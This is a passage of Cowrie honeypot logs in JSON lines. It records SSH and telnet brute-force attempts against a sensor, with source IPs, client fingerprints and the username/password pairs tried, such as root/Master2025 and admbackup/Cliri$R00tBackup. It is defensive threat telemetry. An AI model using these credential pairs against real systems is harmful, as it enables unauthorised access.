hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:33.082060Z","src_ip":"213.209.159.159","session":"65b851855d7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aditya","password":"aditya","message":"login attempt [aditya/aditya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:33.490348Z","src_ip":"213.209.159.159","session":"65b851855d7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aditya","password":"aditya1","message":"login attempt [aditya/aditya1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:34.576604Z","src_ip":"213.209.159.159","session":"65b851855d7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":56300,"dst_ip":"159.203.135.109","dst_port":22,"session":"efe9f612e783","protocol":"ssh","message":"New connection: 117.247.23.131:56300 (159.203.135.109:22) [session: efe9f612e783]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:34.806294Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:34.810899Z","src_ip":"117.247.23.131","session":"efe9f612e783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aditya","password":"aditya123","message":"login attempt [aditya/aditya123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:35.663953Z","src_ip":"213.209.159.159","session":"65b851855d7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:35.732919Z","src_ip":"117.247.23.131","session":"efe9f612e783","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aditya","password":"aditya1234","message":"login attempt [aditya/aditya1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:36.751091Z","src_ip":"213.209.159.159","session":"65b851855d7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aditya","password":"aditya12345","message":"login attempt [aditya/aditya12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:37.837893Z","src_ip":"213.209.159.159","session":"65b851855d7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Master2025","message":"login attempt [root/Master2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:38.672876Z","src_ip":"117.247.23.131","session":"efe9f612e783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:38.927670Z","src_ip":"213.209.159.159","session":"65b851855d7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:40.531995Z","src_ip":"117.247.23.131","session":"efe9f612e783","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.53534197807312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:41.103460Z","src_ip":"68.183.214.245","session":"caf401059f23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40528,"dst_ip":"159.203.135.109","dst_port":22,"session":"86ce727f46df","protocol":"ssh","message":"New connection: 159.203.92.129:40528 (159.203.135.109:22) [session: 86ce727f46df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:54.570023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:54.574478Z","src_ip":"159.203.92.129","session":"86ce727f46df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:54.579226Z","src_ip":"159.203.92.129","session":"86ce727f46df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adman","password":"adman","message":"login attempt [adman/adman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:54.594461Z","src_ip":"159.203.92.129","session":"86ce727f46df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:44:55.604722Z","src_ip":"159.203.92.129","session":"86ce727f46df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60854,"dst_ip":"159.203.135.109","dst_port":22,"session":"aa014f6f069f","protocol":"ssh","message":"New connection: 159.203.92.129:60854 (159.203.135.109:22) [session: aa014f6f069f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:45:39.862902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:45:39.880407Z","src_ip":"159.203.92.129","session":"aa014f6f069f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:45:39.884936Z","src_ip":"159.203.92.129","session":"aa014f6f069f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admbackup","password":"123456","message":"login attempt [admbackup/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:45:39.915723Z","src_ip":"159.203.92.129","session":"aa014f6f069f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:45:40.922135Z","src_ip":"159.203.92.129","session":"aa014f6f069f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":58690,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f9e9597b58a","protocol":"ssh","message":"New connection: 117.247.23.131:58690 (159.203.135.109:22) [session: 6f9e9597b58a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:46:14.577230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:46:14.582097Z","src_ip":"117.247.23.131","session":"6f9e9597b58a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:46:15.293675Z","src_ip":"117.247.23.131","session":"6f9e9597b58a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1QW23ER45T","message":"login attempt [root/1QW23ER45T] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:46:18.617793Z","src_ip":"117.247.23.131","session":"6f9e9597b58a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:46:20.470516Z","src_ip":"117.247.23.131","session":"6f9e9597b58a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00157618522644,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:46:20.502103Z","src_ip":"167.250.105.129","session":"8c986e7df4f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":9072,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ca52b05275e","protocol":"telnet","message":"New connection: 167.250.105.129:9072 (159.203.135.109:23) [session: 1ca52b05275e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:46:24.580956Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56326,"dst_ip":"159.203.135.109","dst_port":22,"session":"f2fc5feaf5b2","protocol":"ssh","message":"New connection: 159.203.92.129:56326 (159.203.135.109:22) [session: f2fc5feaf5b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:46:25.537110Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:46:25.543099Z","src_ip":"159.203.92.129","session":"f2fc5feaf5b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:46:25.550107Z","src_ip":"159.203.92.129","session":"f2fc5feaf5b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admbackup","password":"Cliri$R00tBackup","message":"login attempt [admbackup/Cliri$R00tBackup] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:46:25.565760Z","src_ip":"159.203.92.129","session":"f2fc5feaf5b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:46:26.573101Z","src_ip":"159.203.92.129","session":"f2fc5feaf5b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":9689,"dst_ip":"159.203.135.109","dst_port":23,"session":"f092c40c78af","protocol":"telnet","message":"New connection: 167.250.105.129:9689 (159.203.135.109:23) [session: f092c40c78af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:46:32.770168Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.217.75.147","src_port":44352,"dst_ip":"159.203.135.109","dst_port":23,"session":"55ae848c34a4","protocol":"telnet","message":"New connection: 144.217.75.147:44352 (159.203.135.109:23) [session: 55ae848c34a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:03.124252Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.217.75.147","src_port":44384,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aed0e2b2e92","protocol":"telnet","message":"New connection: 144.217.75.147:44384 (159.203.135.109:23) [session: 1aed0e2b2e92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:04.073751Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59854,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9451bdca943","protocol":"ssh","message":"New connection: 159.203.92.129:59854 (159.203.135.109:22) [session: c9451bdca943]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:10.594695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:10.599739Z","src_ip":"159.203.92.129","session":"c9451bdca943","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:10.605157Z","src_ip":"159.203.92.129","session":"c9451bdca943","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin123","password":"123456","message":"login attempt [admin123/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:10.618248Z","src_ip":"159.203.92.129","session":"c9451bdca943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:11.626923Z","src_ip":"159.203.92.129","session":"c9451bdca943","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.901286602020264,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:34.025358Z","src_ip":"144.217.75.147","session":"55ae848c34a4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.951591730117798,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:35.025047Z","src_ip":"144.217.75.147","session":"1aed0e2b2e92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":51320,"dst_ip":"159.203.135.109","dst_port":22,"session":"266a5905ea77","protocol":"ssh","message":"New connection: 117.247.23.131:51320 (159.203.135.109:22) [session: 266a5905ea77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:55.049669Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:55.054109Z","src_ip":"117.247.23.131","session":"266a5905ea77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55056,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff32667f37e8","protocol":"ssh","message":"New connection: 159.203.92.129:55056 (159.203.135.109:22) [session: ff32667f37e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:47:55.437042Z"}
